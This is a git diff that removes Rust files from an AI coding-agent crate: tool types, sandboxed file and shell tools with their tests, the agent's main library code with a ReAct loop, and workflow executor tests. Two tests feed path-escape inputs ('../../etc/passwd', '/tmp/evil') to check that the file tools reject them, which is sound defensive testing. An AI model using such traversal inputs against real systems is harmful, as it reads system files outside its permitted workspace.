assert_eq!(defs.len(), 1); - assert_eq!(defs[0].name, "echo"); -} - -#[tokio::test] -async fn registry_execute_known_tool() { - let mut registry = BuiltinToolRegistry::new(); - registry.register(Box::new(EchoTool)); - let call = ToolCall::new("c1", "echo", serde_json::json!({"message": "hello"})); - let output = registry.execute(&call).await; - assert!(!output.is_error); - assert_eq!(output.content, "hello"); -} - -#[tokio::test] -async fn registry_execute_tool_error() { - let mut registry = BuiltinToolRegistry::new(); - registry.register(Box::new(EchoTool)); - let call = ToolCall::new("c1", "echo", serde_json::json!({})); - let output = registry.execute(&call).await; - assert!(output.is_error); - assert!(output.content.contains("missing required argument")); -} - -#[tokio::test] -async fn file_read_tool_writes_and_reads() { - let dir = tempfile::tempdir().expect("tempdir"); - let write_tool = FileWriteTool::new(dir.path()); - let read_tool = FileReadTool::new(dir.path()); - - write_tool - .call(serde_json::json!({"path": "test.txt", "content": "hello world"})) - .await - .expect("write"); - - let content = read_tool - .call(serde_json::json!({"path": "test.txt"})) - .await - .expect("read"); - assert_eq!(content, "hello world"); -} - -#[tokio::test] -async fn file_read_tool_path_escape_blocked() { - let dir = tempfile::tempdir().expect("tempdir"); - let tool = FileReadTool::new(dir.path()); - let result = tool - .call(serde_json::json!({"path": "../../etc/passwd"})) - .await; - assert!(result.is_err()); - assert!(result.unwrap_err().contains("traversal")); -} - -#[tokio::test] -async fn file_write_tool_path_escape_blocked() { - let dir = tempfile::tempdir().expect("tempdir"); - let tool = FileWriteTool::new(dir.path()); - let result = tool - .call(serde_json::json!({"path": "/tmp/evil", "content": "pwned"})) - .await; - assert!(result.is_err()); -} - -#[tokio::test] -async fn shell_exec_tool_runs_command() { - let dir = tempfile::tempdir().expect("tempdir"); - let tool = ShellExecTool::new(dir.path()); - let output = tool - .call(serde_json::json!({"command": "echo hello"})) - .await - .expect("exec"); - assert_eq!(output.trim(), "hello"); -} - -#[tokio::test] -async fn shell_exec_tool_captures_error() { - let dir = tempfile::tempdir().expect("tempdir"); - let tool = ShellExecTool::new(dir.path()); - let result = tool.call(serde_json::json!({"command": "exit 1"})).await; - assert!(result.is_err()); - assert!(result.unwrap_err().contains("Exit code 1")); -} - -struct EchoTool; - -#[async_trait::async_trait] -impl AsyncTool for EchoTool { - async fn call(&self, arguments: serde_json::Value) -> Result { - arguments["message"] - .as_str() - .map(|s| s.to_string()) - .ok_or_else(|| "Missing 'message' parameter".to_string()) - } - - fn definition(&self) -> ToolDef { - ToolDef::new( - "echo", - "Echoes back the message parameter", - serde_json::json!({ - "type": "object", - "properties": { - "message": {"type": "string"} - }, - "required": ["message"] - }), - ) - } -} diff --git a/forge_agent/src/chat/tools/types.rs b/forge_agent/src/chat/tools/types.rs deleted file mode 100644 index e9eaaea..0000000 --- a/forge_agent/src/chat/tools/types.rs +++ /dev/null @@ -1,76 +0,0 @@ -use serde::{Deserialize, Serialize}; - -#[derive(Clone, Debug, PartialEq, Serialize, Deserialize)] -pub struct ToolDef { - pub name: String, - pub description: String, - pub parameters: serde_json::Value, -} - -impl ToolDef { - pub fn new( - name: impl Into, - description: impl Into, - parameters: serde_json::Value, - ) -> Self { - ToolDef { - name: name.into(), - description: description.into(), - parameters, - } - } - - pub fn empty(name: impl Into, description: impl Into) -> Self { - ToolDef::new( - name, - description, - serde_json::json!({"type": "object", "properties": {}}), - ) - } -} - -#[derive(Clone, Debug, PartialEq, Serialize, Deserialize)] -pub struct ToolCall { - pub id: String, - pub name: String, - pub arguments: serde_json::Value, -} - -impl ToolCall { - pub fn new( - id: impl Into, - name: impl Into, - arguments: serde_json::Value, - ) -> Self { - ToolCall { - id: id.into(), - name: name.into(), - arguments, - } - } -} - -#[derive(Clone, Debug, PartialEq, Serialize, Deserialize)] -pub struct ToolOutput { - pub tool_call_id: String, - pub content: String, - pub is_error: bool, -} - -impl ToolOutput { - pub fn success(tool_call_id: impl Into, content: impl Into) -> Self { - ToolOutput { - tool_call_id: tool_call_id.into(), - content: content.into(), - is_error: false, - } - } - - pub fn error(tool_call_id: impl Into, content: impl Into) -> Self { - ToolOutput { - tool_call_id: tool_call_id.into(), - content: content.into(), - is_error: true, - } - } -} diff --git a/forge_agent/src/lib.rs b/forge_agent/src/lib.rs deleted file mode 100644 index 16ce033..0000000 --- a/forge_agent/src/lib.rs +++ /dev/null @@ -1,925 +0,0 @@ -//! ForgeKit agent layer - Deterministic AI loop. -//! -//! This crate provides a deterministic agent loop for AI-driven code operations: -//! -//! - Observation: Gather context from the graph -//! - Constraint: Apply policy rules -//! - Planning: Generate execution steps -//! - Mutation: Apply changes -//! - Verification: Validate results -//! - Commit: Finalize transaction -//! -//! # Status -//! -//! This crate is under active development. Observation and planning phases are implemented. - -use std::path::PathBuf; - -// Observation module (Phase 4 - Task 1) -pub mod observe; - -// Policy module (Phase 4 - Task 2) -pub mod policy; - -// Planning module (Phase 4 - Task 3) -pub mod planner; - -// Mutation module (Phase 4 - Task 4) -pub mod mutate; - -// Verification module (Phase 4 - Task 5) -pub mod verify; - -// Commit module (Phase 4 - Task 6) -pub mod commit; - -// Loop module (Phase 3 - Task 1) -pub mod agent_loop; - -// Audit module (Phase 3 - Task 2) -pub mod audit; - -// Workflow module (Phase 8 - Plan 1) -pub mod workflow; - -// LLM provider module -pub mod llm; -#[cfg(feature = "llm-anthropic")] -pub use llm::AnthropicProvider; -#[cfg(feature = "llm-ollama")] -pub use llm::OllamaProvider; -#[cfg(feature = "llm-openai")] -pub use llm::OpenAiProvider; - -// Chat types and conversation -pub mod chat; - -// Envoy coordination module -#[cfg(feature = "envoy")] -pub mod envoy; - -// Evidence recording module -#[cfg(feature = "envoy")] -pub mod evidence; - -// Context composition module -pub mod context; - -// Code generation from natural language descriptions -pub mod generate; -pub use generate::{GeneratedCode, Generator}; - -/// Error types for agent operations. -#[derive(thiserror::Error, Debug)] -pub enum AgentError { - /// Observation phase failed - #[error("Observation failed: {0}")] - ObservationFailed(String), - - /// Planning phase failed - #[error("Planning failed: {0}")] - PlanningFailed(String), - - /// Mutation phase failed - #[error("Mutation failed: {0}")] - MutationFailed(String), - - /// Verification phase failed - #[error("Verification failed: {0}")] - VerificationFailed(String), - - /// Commit phase failed - #[error("Commit failed: {0}")] - CommitFailed(String), - - /// Policy constraint violated - #[error("Policy violation: {0}")] - PolicyViolation(String), - - /// Error from Forge SDK - #[error("Forge error: {0}")] - ForgeError(#[from] forge_core::ForgeError), - - /// Workflow execution failed - #[error("Workflow failed: {0}")] - WorkflowFailed(String), - - /// ReAct agent loop failed - #[error("ReAct agent failed: {0}")] - ReActFailed(String), -} - -/// Result type for agent operations. -pub type Result = std::result::Result; - -// Re-export policy module -pub use policy::{Policy, PolicyReport, PolicyValidator, PolicyViolation}; - -// Re-export observation types -pub use observe::Observation; - -// Re-export loop types -pub use agent_loop::{AgentLoop, AgentPhase, LoopResult}; - -// Re-export audit types -pub use audit::{AuditEvent, AuditLog}; - -// Re-export workflow types -pub use workflow::{ - Dependency, Gate, GateAction, GateLanguage, GateResult, GateRunner, TaskContext, TaskError, - TaskId, TaskResult, ValidationReport, Workflow, WorkflowError, WorkflowExecutor, - WorkflowResult, WorkflowTask, WorkflowValidator, -}; - -/// Result of applying policy constraints. -#[derive(Clone, Debug)] -pub struct ConstrainedPlan { - /// The original observation - pub observation: Observation, - /// Any policy violations detected - pub policy_violations: Vec, -} - -/// Execution plan for the mutation phase. -#[derive(Clone, Debug)] -pub struct ExecutionPlan { - /// Steps to execute - pub steps: Vec, - /// Estimated impact - pub estimated_impact: planner::ImpactEstimate, - /// Rollback plan - pub rollback_plan: Vec, -} - -/// Result of the mutation phase. -#[derive(Clone, Debug)] -pub struct MutationResult { - /// Files that were modified - pub modified_files: Vec, - /// Diffs of changes made - pub diffs: Vec, -} - -/// Result of the verification phase. -#[derive(Clone, Debug)] -pub struct VerificationResult { - /// Whether verification passed - pub passed: bool, - /// Any diagnostics or errors - pub diagnostics: Vec, - /// LLM-generated fix suggestions - pub suggestions: Option, -} - -/// Result of the commit phase. -#[derive(Clone, Debug)] -pub struct CommitResult { - /// Transaction ID for the commit - pub transaction_id: String, - /// Files that were committed - pub files_committed: Vec, -} - -/// Reads the `[llm]` section from `.forge.toml` in `project_path` and builds a provider. -/// Returns `None` if the file is absent, the section is missing, or the provider type is -/// not compiled in. -#[cfg(any( - feature = "llm-ollama", - feature = "llm-openai", - feature = "llm-anthropic" -))] -fn load_llm_from_forge_toml( - project_path: &std::path::Path, -) -> Option> { - #[derive(serde::Deserialize)] - struct LlmSection { - provider: String, - // Used by all three LLM branches β€” always present when this function is compiled. - model: String, - // Only consumed by the ollama and openai branches; absent from the struct when - // neither feature is active so serde simply ignores the key in the TOML file. - #[cfg(any(feature = "llm-ollama", feature = "llm-openai"))] - url: Option, - // Only consumed by the openai and anthropic branches. - #[cfg(any(feature = "llm-openai", feature = "llm-anthropic"))] - api_key: Option, - } - #[derive(serde::Deserialize)] - struct ForgeToml { - llm: Option, - } - let text = std::fs::read_to_string(project_path.join(".forge.toml")).ok()?; - let parsed: ForgeToml = toml::from_str(&text).ok()?; - let cfg = parsed.llm?; - match cfg.provider.as_str() { - #[cfg(feature = "llm-ollama")] - "ollama" => { - let endpoint = cfg - .url - .unwrap_or_else(|| "http://localhost:11434".to_string()); - Some(std::sync::Arc::new(llm::OllamaProvider::new( - endpoint, cfg.model, - ))) - } - #[cfg(feature = "llm-openai")] - "openai" => { - let api_key = cfg.api_key?; - let url = cfg - .url - .unwrap_or_else(|| "https://api.openai.com/v1".to_string()); - Some(std::sync::Arc::new(llm::OpenAiProvider::new( - url, cfg.model, api_key, - ))) - } - #[cfg(feature = "llm-anthropic")] - "anthropic" => { - let api_key = cfg.api_key?; - Some(std::sync::Arc::new(llm::AnthropicProvider::new( - cfg.model, api_key, - ))) - } - _ => None, - } -} - -#[cfg(not(any( - feature = "llm-ollama", - feature = "llm-openai", - feature = "llm-anthropic" -)))] -fn load_llm_from_forge_toml( - _project_path: &std::path::Path, -) -> Option> { - None -} - -/// Agent for deterministic AI-driven code operations. -/// -/// The agent follows a strict loop: -/// 1. Observe: Gather context from the graph -/// 2. Constrain: Apply policy rules -/// 3. Plan: Generate execution steps -/// 4. Mutate: Apply changes -/// 5. Verify: Validate results -/// 6. Commit: Finalize transaction -/// -/// # Runtime Integration -/// -/// The agent can integrate with `ForgeRuntime` for coordinated file watching -/// and caching: -/// -/// ```ignore -/// let (agent, mut runtime) = Agent::with_runtime("./project").await?; -/// let result = agent.run_with_runtime(&mut runtime, "refactor function").await?; -/// ``` -/// -pub struct Agent { - /// Path to the codebase - codebase_path: PathBuf, - /// Forge SDK instance for graph queries - forge: Option, - /// Optional LLM provider for semantic operations - pub(crate) llm: Option>, - /// Optional chat provider for ReAct agent loop - chat_provider: Option>, - /// Chat config (model, temperature, etc.) for ReAct loop - chat_config: Option, - /// Optional envoy client for multi-agent coordination - #[cfg(feature = "envoy")] - pub(crate) envoy: Option>, - /// Optional evidence recording session - #[cfg(feature = "envoy")] - pub(crate) session: Option>, - /// Policies enforced during the constraint phase - policies: Vec, -} - -impl Agent { - /// Creates a new agent for the given codebase. - /// - /// # Arguments - /// - /// * `codebase_path` - Path to the codebase - pub async fn new(codebase_path: impl AsRef) -> Result { - let path = codebase_path.as_ref().to_path_buf(); - - // Try to initialize Forge SDK - let forge = forge_core::Forge::open(&path).await.ok(); - - // Load LLM provider from .forge.toml [llm] section - let llm = load_llm_from_forge_toml(&path); - - // Load envoy config from .forge.toml - #[cfg(feature = "envoy")] - let envoy = { - let config_path = path.join(".forge.toml"); - envoy::EnvoyConfig::from_file(&config_path) - .ok() - .flatten() - .map(|c| std::sync::Arc::new(envoy::EnvoyClient::new(c))) - }; - - #[cfg(feature = "envoy")] - let project_name = path - .file_name() - .unwrap_or_default() - .to_str() - .unwrap_or("unknown") - .to_string(); - - #[cfg(feature = "envoy")] - let session: Option> = envoy.as_ref().map(|c| { - std::sync::Arc::new(evidence::ForgeSession::new( - c.clone() as std::sync::Arc, - &project_name, - "forge", - None, - )) - }); - - Ok(Self { - codebase_path: path, - forge, - llm, - chat_provider: None, - chat_config: None, - #[cfg(feature = "envoy")] - envoy, - #[cfg(feature = "envoy")] - session, - policies: Vec::new(), - }) - } - - /// Sets the LLM provider for semantic operations. - pub fn with_llm(mut self, provider: std::sync::Arc) -> Self { - self.llm = Some(provider); - self - } - - /// Sets the policies enforced during the constraint phase. - pub fn with_policies(mut self, policies: Vec) -> Self { - self.policies = policies; - self - } - - /// Sets a chat provider and config for the ReAct agent loop. - /// - /// When configured, `run_react()` will use this provider instead of - /// the default `AgentLoop` 6-phase pipeline. - pub fn with_chat_provider( - mut self, - provider: std::sync::Arc, - config: llm::LlmConfig, - ) -> Self { - self.chat_provider = Some(provider); - self.chat_config = Some(config); - self - } - - /// Sets the envoy client for multi-agent coordination. - #[cfg(feature = "envoy")] - pub fn with_envoy(mut self, client: envoy::EnvoyClient) -> Self { - self.envoy = Some(std::sync::Arc::new(client)); - self - } - - /// Connects to envoy and registers this agent. Returns the agent ID. - #[cfg(feature = "envoy")] - pub async fn connect_envoy(&self) -> std::result::Result { - let client = self - .envoy - .as_ref() - .ok_or_else(|| "envoy not configured".to_string())?; - client.register().await - } - - /// Observes the codebase to gather context for a query. - /// - /// # Arguments - /// - /// * `query` - The natural language query or request - pub async fn observe(&self, query: &str) -> Result { - let forge = self - .forge - .as_ref() - .ok_or_else(|| AgentError::ObservationFailed("Forge SDK not available".to_string()))?; - - let mut observer = observe::Observer::new(forge.clone()); - if let Some(ref llm) = self.llm { - observer = observer.with_llm(llm.clone()); - } - #[cfg(feature = "envoy")] - if let Some(ref envoy) = self.envoy { - observer = observer.with_knowledge_source(envoy.clone()); - } - let obs = observer.gather(query).await?; - - Ok(obs) - } - - /// Applies policy constraints to the observation. - /// - /// # Arguments - /// - /// * `observation` - The observation to constrain - /// * `policies` - The policies to validate - pub async fn constrain( - &self, - observation: Observation, - policies: Vec, - ) -> Result { - let forge = self.forge.as_ref().ok_or_else(|| { - AgentError::ObservationFailed( - "Forge SDK not available for policy validation".to_string(), - ) - })?; - - // Create a validator - let validator = policy::PolicyValidator::new(forge.clone()); - - let diff = policy::Diff { - file_path: std::path::PathBuf::from(&observation.query), - original: String::new(), - modified: format!("query: {}", observation.query), - changes: Vec::new(), - }; - - // Validate policies - let report = validator.validate(&diff, &policies).await?; - - Ok(ConstrainedPlan { - observation, - policy_violations: report.violations, - }) - } - - /// Generates an execution plan from the constrained observation. - pub async fn plan(&self, constrained: ConstrainedPlan) -> Result { - // Create planner - let planner_instance = planner::Planner::new(); - - // Convert observation to the planner's format - let obs = observe::Observation { - query: constrained.observation.query.clone(), - symbols: vec![], - summary: None, - }; - - // Generate steps - let steps = planner_instance.generate_steps(&obs).await?; - - // Estimate impact - let impact = planner_instance.estimate_impact(&steps).await?; - - // Detect conflicts - let conflicts = planner_instance.detect_conflicts(&steps)?; - - if !conflicts.is_empty() { - return Err(AgentError::PlanningFailed(format!( - "Found {} conflicts in plan", - conflicts.len() - ))); - } - - // Order steps based on dependencies - let mut ordered_steps = steps; - planner_instance.order_steps(&mut ordered_steps)?; - - // Generate rollback plan - let rollback = planner_instance.generate_rollback(&ordered_steps); - - Ok(ExecutionPlan { - steps: ordered_steps, - estimated_impact: planner::ImpactEstimate { - affected_files: impact.affected_files, - complexity: impact.complexity, - }, - rollback_plan: rollback, - }) - } - - /// Executes the mutation phase of the plan. - pub async fn mutate(&self, plan: ExecutionPlan) -> Result { - // Verify forge is available - self.forge - .as_ref() - .ok_or_else(|| AgentError::MutationFailed("Forge SDK not available".to_string()))?; - - let mut mutator = mutate::Mutator::new(); - mutator.begin_transaction().await?; - - for step in &plan.steps { - mutator.apply_step(step).await?; - } - - Ok(MutationResult { - modified_files: vec![], - diffs: vec!["Transaction completed".to_string()], - }) - } - - /// Verifies the mutation result, scoped to changed files. - pub async fn verify(&self, result: MutationResult) -> Result { - let verifier = verify::Verifier::new(); - let report = if result.modified_files.is_empty() { - verifier.verify(&self.codebase_path).await? - } else { - verifier - .verify_changes(&self.codebase_path, &result.modified_files, &result.diffs) - .await? - }; - - Ok(VerificationResult { - passed: report.passed, - diagnostics: report - .diagnostics - .iter() - .map(|d| d.message.clone()) - .collect(), - suggestions: report.suggestions, - }) - } - - /// Commits the verified mutation. - pub async fn commit(&self, result: VerificationResult) -> Result { - let committer = commit::Committer::new(); - let files: Vec = result - .diagnostics - .iter() - .filter_map(|d| { - // Parse diagnostics to extract file paths - // Format: "file:line:col: message" - d.split(':') - .next() - .map(|s| std::path::PathBuf::from(s.trim())) - }) - .collect(); - - let message = format!("forge: apply changes ({} files)", files.len()); - let commit_report = committer - .finalize(&self.codebase_path, &files, &message) - .await?; - - Ok(CommitResult { - transaction_id: commit_report.transaction_id, - files_committed: commit_report.files_committed, - }) - } - - /// Runs the full agent loop: Observe -> Constrain -> Plan -> Mutate -> Verify -> Commit - /// - /// This is the main entry point for executing a complete agent operation. - /// Each phase receives the output of the previous phase, and failures - /// trigger rollback with audit trail entries. - /// - /// # Arguments - /// - /// * `query` - The natural language query or request - /// - /// # Returns - /// - /// Returns `LoopResult` with transaction ID, modified files, and audit trail. - /// - /// # Example - /// - /// ```no_run - /// use forge_agent::Agent; - /// - /// # async fn example() -> Result<(), Box> { - /// let agent = Agent::new(".").await?; - /// let result = agent.run("Add error handling to the parser").await?; - /// println!("Transaction ID: {}", result.transaction_id); - /// # Ok(()) - /// # } - /// ``` - pub async fn run(&self, query: &str) -> Result { - let forge = self - .forge - .as_ref() - .ok_or_else(|| AgentError::ObservationFailed("Forge SDK not available".to_string()))?; - - // Create fresh loop state (no state leakage between runs) - let mut agent_loop = agent_loop::AgentLoop::new(std::sync::Arc::new(forge.clone())); - - // Pass LLM provider to agent loop if configured - if let Some(ref llm) = self.llm { - agent_loop = agent_loop.with_llm(llm.clone()); - } - - #[cfg(feature = "envoy")] - if let Some(ref envoy) = self.envoy { - agent_loop = agent_loop.with_discovery_store(envoy.clone()); - } - - #[cfg(feature = "envoy")] - if let Some(ref session) = self.session { - agent_loop = agent_loop.with_session(session.clone()); - } - - if !self.policies.is_empty() { - agent_loop = agent_loop.with_policies(self.policies.clone()); - } - - agent_loop.run(query).await - } - - /// Runs the ReAct agent loop: an LLM-driven autonomous cycle of - /// reasoning and tool-calling. - /// - /// Unlike `run()` (fixed 6-phase pipeline), the ReAct loop lets the - /// LLM decide which tools to call and when to stop, up to a maximum - /// number of iterations. - /// - /// Requires a `ChatProvider` configured via `with_chat_provider()`. - /// Uses `BuiltinToolRegistry` with file_read, file_write, and - /// shell_exec tools scoped to the codebase path. - /// - /// Returns the LLM's final text answer on success. - pub async fn run_react(&self, query: &str) -> Result { - let provider = self.chat_provider.as_ref().ok_or_else(|| { - AgentError::ReActFailed( - "no ChatProvider configured; use with_chat_provider()".to_string(), - ) - })?; - let config = self - .chat_config - .as_ref() - .ok_or_else(|| { - AgentError::ReActFailed( - "no LlmConfig configured; use with_chat_provider()".to_string(), - ) - })? - .clone(); - - let mut registry = chat::BuiltinToolRegistry::new(); - registry.register_many(chat::default_builtin_tools(&self.codebase_path)); - - let react = chat::ReActLoop::new(std::sync::Arc::clone(provider), registry, config) - .with_system_prompt(format!( - "You are an autonomous coding agent. You have tools to read files, \ - write files, and execute shell commands. Your workspace is: {}", - self.codebase_path.display() - )); - - react - .run(query) - .await - .map_err(|e| AgentError::ReActFailed(format!("{e}"))) - } - - /// Executes a workflow DAG, injecting this agent's Forge SDK into every task context. - /// - /// Tasks like `AgentLoopTask` and `GraphQueryTask` require forge in their context; - /// this method ensures they receive it without the caller needing to wire it manually. - pub async fn run_workflow( - &self, - workflow: workflow::Workflow, - ) -> Result { - let forge = self - .forge - .as_ref() - .ok_or_else(|| AgentError::ObservationFailed("Forge SDK not available".to_string()))?; - workflow::WorkflowExecutor::new(workflow) - .with_forge(std::sync::Arc::new(forge.clone())) - .execute() - .await - .map_err(|e| AgentError::WorkflowFailed(e.to_string())) - } -} - -// Transaction module (Phase 3 - Plan 3) -pub mod transaction; - -// Re-export transaction types -pub use transaction::{FileSnapshot, Transaction, TransactionState}; - -// Runtime integration module (Phase 3 - Plan 4) -pub mod runtime_integration; - -// Re-export runtime types for convenience -pub use forge_runtime::{ForgeRuntime, RuntimeConfig, RuntimeStats}; - -#[cfg(test)] -mod tests { - use super::*; - - #[tokio::test] - async fn test_agent_creation() { - let temp = tempfile::tempdir().unwrap(); - let agent = Agent::new(temp.path()).await.unwrap(); - - assert_eq!(agent.codebase_path, temp.path()); - } - - #[tokio::test] - async fn test_agent_with_runtime() { - let temp = tempfile::tempdir().unwrap(); - let (_agent, runtime) = Agent::with_runtime(temp.path()).await.unwrap(); - - assert_eq!(runtime.codebase_path(), temp.path()); - } - - #[tokio::test] - async fn test_agent_runtime_stats() { - let temp = tempfile::tempdir().unwrap(); - let (_agent, runtime) = Agent::with_runtime(temp.path()).await.unwrap(); - - let stats = runtime.stats(); - assert!(!stats.watch_active); // Not started - } - - #[tokio::test] - async fn test_agent_backward_compatibility() { - // Agent should work without runtime (backward compatibility) - let temp = tempfile::tempdir().unwrap(); - let agent = Agent::new(temp.path()).await.unwrap(); - - // Agent should be functional standalone - assert_eq!(agent.codebase_path, temp.path()); - } - - #[tokio::test] - async fn test_agent_with_llm_provider() { - let temp = tempfile::tempdir().unwrap(); - let mock = std::sync::Arc::new(llm::MockProvider::new("mocked LLM response")); - let agent = Agent::new(temp.path()).await.unwrap().with_llm(mock); - - assert!(agent.llm.is_some()); - } - - #[tokio::test] - async fn test_agent_without_llm_provider() { - let temp = tempfile::tempdir().unwrap(); - let agent = Agent::new(temp.path()).await.unwrap(); - - assert!(agent.llm.is_none()); - } - - #[cfg(feature = "envoy")] - #[tokio::test] - async fn test_agent_with_envoy() { - let temp = tempfile::tempdir().unwrap(); - let config = envoy::EnvoyConfig { - url: "http://localhost:9999".to_string(), - agent_name: "test-forge".to_string(), - }; - let client = envoy::EnvoyClient::new(config); - let agent = Agent::new(temp.path()).await.unwrap().with_envoy(client); - - assert!(agent.envoy.is_some()); - } - - #[cfg(feature = "envoy")] - #[tokio::test] - async fn test_agent_without_envoy() { - let temp = tempfile::tempdir().unwrap(); - let agent = Agent::new(temp.path()).await.unwrap(); - - // No .forge.toml β†’ no envoy - assert!(agent.envoy.is_none()); - } - - #[tokio::test] - async fn test_agent_run_workflow_passes_forge() { - use crate::workflow::dag::Workflow; - use crate::workflow::task::{TaskContext, TaskError, TaskId, TaskResult, WorkflowTask}; - use async_trait::async_trait; - - struct ForgeCheckTask; - #[async_trait] - impl WorkflowTask for ForgeCheckTask { - async fn execute( - &self, - ctx: &TaskContext, - ) -> std::result::Result { - if ctx.forge.is_some() { - Ok(TaskResult::Success) - } else { - Err(TaskError::ExecutionFailed("no forge".to_string())) - } - } - fn id(&self) -> TaskId { - TaskId::new("forge-check") - } - fn name(&self) -> &str { - "ForgeCheckTask" - } - } - - let temp = tempfile::tempdir().unwrap(); - let agent = Agent::new(temp.path()).await.unwrap(); - - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(ForgeCheckTask)); - - let result = agent.run_workflow(workflow).await; - assert!(result.is_ok(), "run_workflow failed: {:?}", result.err()); - assert!(result.unwrap().success); - } - - #[cfg(feature = "llm-ollama")] - #[tokio::test] - async fn test_llm_config_loaded_from_forge_toml() { - let temp = tempfile::tempdir().unwrap(); - std::fs::write( - temp.path().join(".forge.toml"), - "[llm]\nprovider = \"ollama\"\nmodel = \"llama3\"\nurl = \"http://localhost:11434\"\n", - ) - .unwrap(); - let agent = Agent::new(temp.path()).await.unwrap(); - assert!( - agent.llm.is_some(), - "LLM provider should be loaded from .forge.toml" - ); - } - - #[cfg(feature = "envoy")] - #[tokio::test] - async fn test_envoy_client_implements_discovery_store() { - let config = envoy::EnvoyConfig { - url: "http://localhost:9999".to_string(), - agent_name: "test-forge".to_string(), - }; - let client = std::sync::Arc::new(envoy::EnvoyClient::new(config)); - // Verify EnvoyClient can be coerced to DiscoveryStore - let store: std::sync::Arc = client.clone(); - // Fire-and-forget: should not panic even when server is unreachable - store - .store( - "Symbol", - "test_symbol", - serde_json::json!({"file": "test.rs"}), - ) - .await; - } - - #[tokio::test] - async fn test_run_react_without_provider_errors() { - let temp = tempfile::tempdir().unwrap(); - let agent = Agent::new(temp.path()).await.unwrap(); - - let result = agent.run_react("do something").await; - assert!(result.is_err()); - match result.unwrap_err() { - AgentError::ReActFailed(msg) => { - assert!(msg.contains("no ChatProvider")); - } - other => panic!("expected ReActFailed, got {other}"), - } - } - - #[tokio::test] - async fn test_with_chat_provider_configures_agent() { - let temp = tempfile::tempdir().unwrap(); - let provider = std::sync::Arc::new(chat::MockChatProvider::from_text("hello")); - let config = llm::LlmConfig::new("test-model"); - - let agent = Agent::new(temp.path()) - .await - .unwrap() - .with_chat_provider(provider, config); - - assert!(agent.chat_provider.is_some()); - assert!(agent.chat_config.is_some()); - } - - #[tokio::test] - async fn test_run_react_returns_answer() { - let temp = tempfile::tempdir().unwrap(); - - let provider = std::sync::Arc::new(chat::MockChatProvider::from_text("The answer is 42")); - let config = llm::LlmConfig::new("test-model"); - - let agent = Agent::new(temp.path()) - .await - .unwrap() - .with_chat_provider(provider, config); - - let answer = agent.run_react("What is the answer?").await; - assert!(answer.is_ok(), "run_react failed: {:?}", answer.err()); - assert_eq!(answer.unwrap(), "The answer is 42"); - } - - #[tokio::test] - async fn test_run_react_tool_call_then_answer() { - let temp = tempfile::tempdir().unwrap(); - - let provider = std::sync::Arc::new( - chat::MockChatProvider::from_text("The file contains rust code") - .with_tool_call("file_read", serde_json::json!({"path": "test.txt"})), - ); - let config = llm::LlmConfig::new("test-model"); - - std::fs::write(temp.path().join("test.txt"), "hello from test").unwrap(); - - let agent = Agent::new(temp.path()) - .await - .unwrap() - .with_chat_provider(provider, config); - - let answer = agent.run_react("Read test.txt").await; - assert!(answer.is_ok(), "run_react failed: {:?}", answer.err()); - assert_eq!(answer.unwrap(), "The file contains rust code"); - } -} diff --git a/forge_agent/src/workflow/executor/tests.rs b/forge_agent/src/workflow/executor/tests.rs deleted file mode 100644 index 4a8a50f..0000000 --- a/forge_agent/src/workflow/executor/tests.rs +++ /dev/null @@ -1,1347 +0,0 @@ -use super::*; -use crate::workflow::dag::Workflow; -use crate::workflow::task::{TaskContext, TaskResult, WorkflowTask}; -use crate::workflow::tools::{Tool, ToolRegistry}; -use async_trait::async_trait; - -#[tokio::test] -async fn test_executor_with_tool_registry() { - let mut workflow = Workflow::new(); - let task_id = TaskId::new("task1"); - workflow.add_task(Box::new(MockTask::new(task_id.clone(), "Task 1"))); - - let mut registry = ToolRegistry::new(); - registry.register(Tool::new("echo", "echo")).unwrap(); - - let mut executor = WorkflowExecutor::new(workflow).with_tool_registry(registry); - - assert!(executor.tool_registry().is_some()); - assert!(executor.tool_registry().unwrap().is_registered("echo")); - - let result = executor.execute().await.unwrap(); - assert!(result.success); -} - -struct MockTask { - id: TaskId, - name: String, - deps: Vec, - should_fail: bool, -} - -impl MockTask { - fn new(id: impl Into, name: &str) -> Self { - Self { - id: id.into(), - name: name.to_string(), - deps: Vec::new(), - should_fail: false, - } - } - - fn with_dep(mut self, dep: impl Into) -> Self { - self.deps.push(dep.into()); - self - } - - fn with_failure(mut self) -> Self { - self.should_fail = true; - self - } -} - -#[async_trait] -impl WorkflowTask for MockTask { - async fn execute( - &self, - _context: &TaskContext, - ) -> Result { - if self.should_fail { - Ok(TaskResult::Failed("Task failed".to_string())) - } else { - Ok(TaskResult::WithCompensation { - result: Box::new(TaskResult::Success), - compensation: crate::workflow::task::ExecutableCompensation::skip(format!( - "Mock compensation for task {}", - self.name - )), - }) - } - } - - fn id(&self) -> TaskId { - self.id.clone() - } - - fn name(&self) -> &str { - &self.name - } - - fn dependencies(&self) -> Vec { - self.deps.clone() - } -} - -#[tokio::test] -async fn test_sequential_execution() { - let mut workflow = Workflow::new(); - - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); - workflow.add_task(Box::new(MockTask::new("c", "Task C").with_dep("a"))); - - workflow.add_dependency("a", "b").unwrap(); - workflow.add_dependency("a", "c").unwrap(); - - let mut executor = WorkflowExecutor::new(workflow); - let result = executor.execute().await.unwrap(); - - assert!(result.success); - assert_eq!(result.completed_tasks.len(), 3); - assert_eq!(executor.completed_count(), 3); - assert_eq!(executor.failed_count(), 0); -} - -#[tokio::test] -async fn test_failure_stops_execution() { - let mut workflow = Workflow::new(); - - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new( - MockTask::new("b", "Task B").with_dep("a").with_failure(), - )); - workflow.add_task(Box::new(MockTask::new("c", "Task C").with_dep("b"))); - - workflow.add_dependency("a", "b").unwrap(); - workflow.add_dependency("b", "c").unwrap(); - - let mut executor = WorkflowExecutor::new(workflow); - let result = executor.execute().await; - - assert!(result.is_ok()); -} - -#[tokio::test] -async fn test_audit_events_logged() { - let mut workflow = Workflow::new(); - - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); - - workflow.add_dependency("a", "b").unwrap(); - - let mut executor = WorkflowExecutor::new(workflow); - executor.execute().await.unwrap(); - - let events = executor.audit_log().replay(); - - assert!(events.len() >= 6); - - assert!(matches!( - events[0], - crate::audit::AuditEvent::WorkflowStarted { .. } - )); -} - -#[tokio::test] -async fn test_failure_triggers_rollback() { - let mut workflow = Workflow::new(); - - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new( - MockTask::new("b", "Task B").with_dep("a").with_failure(), - )); 